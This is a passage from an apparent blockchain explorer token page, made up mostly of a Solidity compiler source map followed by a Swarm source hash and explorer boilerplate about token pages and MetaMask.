-1:-1:-1;;8748:232:0:o;9829:1063::-;6008:8;:15;;-1:-1:-1;;6008:15:0;6019:4;6008:15;;;;;;9966:14:::1;::::0;9948:12:::1;::::0;9924::::1;::::0;6008:8;;9923:66:::1;::::0;9987:1:::1;::::0;9924:57:::1;::::0;9966:14;;9924:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;:57::-;9923:63:::0;::::1;:66::i;:::-;9900:89;;10000:32;10035:42;10064:12;10035:24;10046:12;;10035:6;:10;;:24;;;;:::i;:::-;:28:::0;::::1;:42::i;:::-;10000:77:::0;-1:-1:-1;10088:14:0::1;10105:36;:6:::0;10000:77;10105:10:::1;:36::i;:::-;10088:53:::0;-1:-1:-1;10177:21:0::1;10209:24;10088:53:::0;10209:16:::1;:24::i;:::-;10244:20;10267:41;:14:::0;10286:21:::1;10267:18;:41::i;:::-;10244:64;;10319:19;10340:48;10357:30;10374:12;;10357;:16;;:30;;;;:::i;:::-;10340:12:::0;;:16:::1;:48::i;:::-;10319:69;;10399:29;10431;10447:12;;10431:11;:15;;:29;;;;:::i;:::-;10399:61:::0;-1:-1:-1;10474:34:0;;10471:103:::1;;10510:61;10523:24;10549:21;10510:12;:61::i;:::-;10630:12;::::0;10584:20:::1;::::0;10607:36:::1;::::0;:18:::1;:11:::0;10623:1:::1;10607:15;:18::i;:36::-;10584:59:::0;-1:-1:-1;10657:16:0;;10654:73:::1;;10683:18;::::0;10675:50:::1;::::0;-1:-1:-1;;;;;10683:18:0;;::::1;::::0;10675:50;::::1;;;::::0;10712:12;;10683:18:::1;10675:50:::0;10683:18;10675:50;10712:12;10683:18;10675:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10654:73;10763:21;10798:28:::0;;10795:90:::1;;10836:20;::::0;10828:55:::1;::::0;-1:-1:-1;;;;;10836:20:0;;::::1;::::0;10828:55;::::1;;;::::0;10867:15;;10836:20:::1;10828:55:::0;10836:20;10828:55;10867:15;10836:20;10828:55;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10795:90;-1:-1:-1::0;;6028:8:0;:16;;-1:-1:-1;;6028:16:0;;;-1:-1:-1;;;;;;;;9829:1063:0:o;11762:160::-;-1:-1:-1;;;;;11868:19:0;;11843:4;11868:19;;;:11;:19;;;;;;;;11867:20;:47;;;;-1:-1:-1;;;;;;;11892:22:0;;;;;:11;:22;;;;;;;;11891:23;;11762:160;-1:-1:-1;11762:160:0:o;12157:590::-;12243:7;12299:1;12266:30;12278:6;12286:9;12266:11;:30::i;:::-;:34;12263:462;;;12312:17;12332:59;12360:30;12372:6;12380:9;12360:11;:30::i;:::-;12343:11;;12332:23;;:6;;:10;:23::i;:59::-;12447:4;12429:24;;;;:9;:24;;;;;;12312:79;;-1:-1:-1;12429:39:0;;12312:79;12429:28;:39::i;:::-;12420:4;12402:24;;;;:9;:24;;;;;;;:66;;;;12484:42;;-1:-1:-1;;;;;12484:42:0;;;;;;;12516:9;160:25:1;;148:2;133:18;;14:177;12484:42:0;;;;;;;;12558:1;12540:7;;:20;:64;;;;;12597:7;;12564:30;12576:6;12584:9;12564:11;:30::i;:::-;:40;12540:64;12537:148;;;12606:77;12624:4;6395:42;12646:36;12674:7;;12646:23;12657:11;;12646:6;:10;;:23;;;;:::i;:36::-;12606:9;:77::i;:::-;12702:21;:6;12713:9;12702:10;:21::i;:::-;12695:28;;;;;12263:462;-1:-1:-1;12733:6:0;12157:590;-1:-1:-1;;12157:590:0:o;1592:98::-;1650:7;1677:5;1681:1;1677;:5;:::i;1698:98::-;1756:7;1783:5;1787:1;1783;:5;:::i;11930:219::-;12045:4;;12009:7;;-1:-1:-1;;;;;12045:4:0;;;12032:17;;;;12029:38;;-1:-1:-1;12058:7:0;;12051:14;;12029:38;12090:4;;-1:-1:-1;;;;;12090:4:0;;;12080:14;;;;12077:36;;-1:-1:-1;12103:8:0;;12096:15;;12077:36;-1:-1:-1;12130:11:0;;11930:219;;;;:::o;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;885:315;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:598::-;1483:6;1491;1499;1507;1560:3;1548:9;1539:7;1535:23;1531:33;1528:53;;;1577:1;1574;1567:12;1528:53;1616:9;1603:23;1635:31;1660:5;1635:31;:::i;:::-;1685:5;-1:-1:-1;1742:2:1;1727:18;;1714:32;1755:33;1714:32;1755:33;:::i;:::-;1807:7;-1:-1:-1;1866:2:1;1851:18;;1838:32;1879:33;1838:32;1879:33;:::i;:::-;1397:598;;;;-1:-1:-1;1931:7:1;;1985:2;1970:18;1957:32;;-1:-1:-1;;1397:598:1:o;2000:456::-;2077:6;2085;2093;2146:2;2134:9;2125:7;2121:23;2117:32;2114:52;;;2162:1;2159;2152:12;2114:52;2201:9;2188:23;2220:31;2245:5;2220:31;:::i;:::-;2270:5;-1:-1:-1;2327:2:1;2312:18;;2299:32;2340:33;2299:32;2340:33;:::i;:::-;2000:456;;2392:7;;-1:-1:-1;;;2446:2:1;2431:18;;;;2418:32;;2000:456::o;2650:247::-;2709:6;2762:2;2750:9;2741:7;2737:23;2733:32;2730:52;;;2778:1;2775;2768:12;2730:52;2817:9;2804:23;2836:31;2861:5;2836:31;:::i;2902:118::-;2988:5;2981:13;2974:21;2967:5;2964:32;2954:60;;3010:1;3007;3000:12;3025:382;3090:6;3098;3151:2;3139:9;3130:7;3126:23;3122:32;3119:52;;;3167:1;3164;3157:12;3119:52;3206:9;3193:23;3225:31;3250:5;3225:31;:::i;:::-;3275:5;-1:-1:-1;3332:2:1;3317:18;;3304:32;3345:30;3304:32;3345:30;:::i;:::-;3394:7;3384:17;;;3025:382;;;;;:::o;3620:529::-;3697:6;3705;3713;3766:2;3754:9;3745:7;3741:23;3737:32;3734:52;;;3782:1;3779;3772:12;3734:52;3821:9;3808:23;3840:31;3865:5;3840:31;:::i;:::-;3890:5;-1:-1:-1;3947:2:1;3932:18;;3919:32;3960:33;3919:32;3960:33;:::i;:::-;4012:7;-1:-1:-1;4071:2:1;4056:18;;4043:32;4084:33;4043:32;4084:33;:::i;:::-;4136:7;4126:17;;;3620:529;;;;;:::o;4154:388::-;4222:6;4230;4283:2;4271:9;4262:7;4258:23;4254:32;4251:52;;;4299:1;4296;4289:12;4251:52;4338:9;4325:23;4357:31;4382:5;4357:31;:::i;:::-;4407:5;-1:-1:-1;4464:2:1;4449:18;;4436:32;4477:33;4436:32;4477:33;:::i;4927:245::-;4994:6;5047:2;5035:9;5026:7;5022:23;5018:32;5015:52;;;5063:1;5060;5053:12;5015:52;5095:9;5089:16;5114:28;5136:5;5114:28;:::i;5177:341::-;5379:2;5361:21;;;5418:2;5398:18;;;5391:30;-1:-1:-1;;;5452:2:1;5437:18;;5430:47;5509:2;5494:18;;5177:341::o;5523:251::-;5593:6;5646:2;5634:9;5625:7;5621:23;5617:32;5614:52;;;5662:1;5659;5652:12;5614:52;5694:9;5688:16;5713:31;5738:5;5713:31;:::i;7232:127::-;7293:10;7288:3;7284:20;7281:1;7274:31;7324:4;7321:1;7314:15;7348:4;7345:1;7338:15;7364:128;7431:9;;;7452:11;;;7449:37;;;7466:18;;:::i;9773:125::-;9838:9;;;9859:10;;;9856:36;;;9872:18;;:::i;10035:127::-;10096:10;10091:3;10087:20;10084:1;10077:31;10127:4;10124:1;10117:15;10151:4;10148:1;10141:15;10167:980;10429:4;10477:3;10466:9;10462:19;10508:6;10497:9;10490:25;10534:2;10572:6;10567:2;10556:9;10552:18;10545:34;10615:3;10610:2;10599:9;10595:18;10588:31;10639:6;10674;10668:13;10705:6;10697;10690:22;10743:3;10732:9;10728:19;10721:26;;10782:2;10774:6;10770:15;10756:29;;10803:1;10813:195;10827:6;10824:1;10821:13;10813:195;;;10892:13;;-1:-1:-1;;;;;10888:39:1;10876:52;;10983:15;;;;10948:12;;;;10924:1;10842:9;10813:195;;;-1:-1:-1;;;;;;;11064:32:1;;;;11059:2;11044:18;;11037:60;-1:-1:-1;;;11128:3:1;11113:19;11106:35;11025:3;10167:980;-1:-1:-1;;;10167:980:1:o;11764:306::-;11852:6;11860;11868;11921:2;11909:9;11900:7;11896:23;11892:32;11889:52;;;11937:1;11934;11927:12;11889:52;11966:9;11960:16;11950:26;;12016:2;12005:9;12001:18;11995:25;11985:35;;12060:2;12049:9;12045:18;12039:25;12029:35;;11764:306;;;;;:::o;12075:168::-;12148:9;;;12179;;12196:15;;;12190:22;;12176:37;12166:71;;12217:18;;:::i;12248:217::-;12288:1;12314;12304:132;;12358:10;12353:3;12349:20;12346:1;12339:31;12393:4;12390:1;12383:15;12421:4;12418:1;12411:15;12304:132;-1:-1:-1;12450:9:1;;12248:217::o
Swarm Source
ipfs://8f8b1836747ca65e862516422e05dfa146de7c0f475fed58ee03a536b93d95e0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.
Add Token to MetaMask (Web3)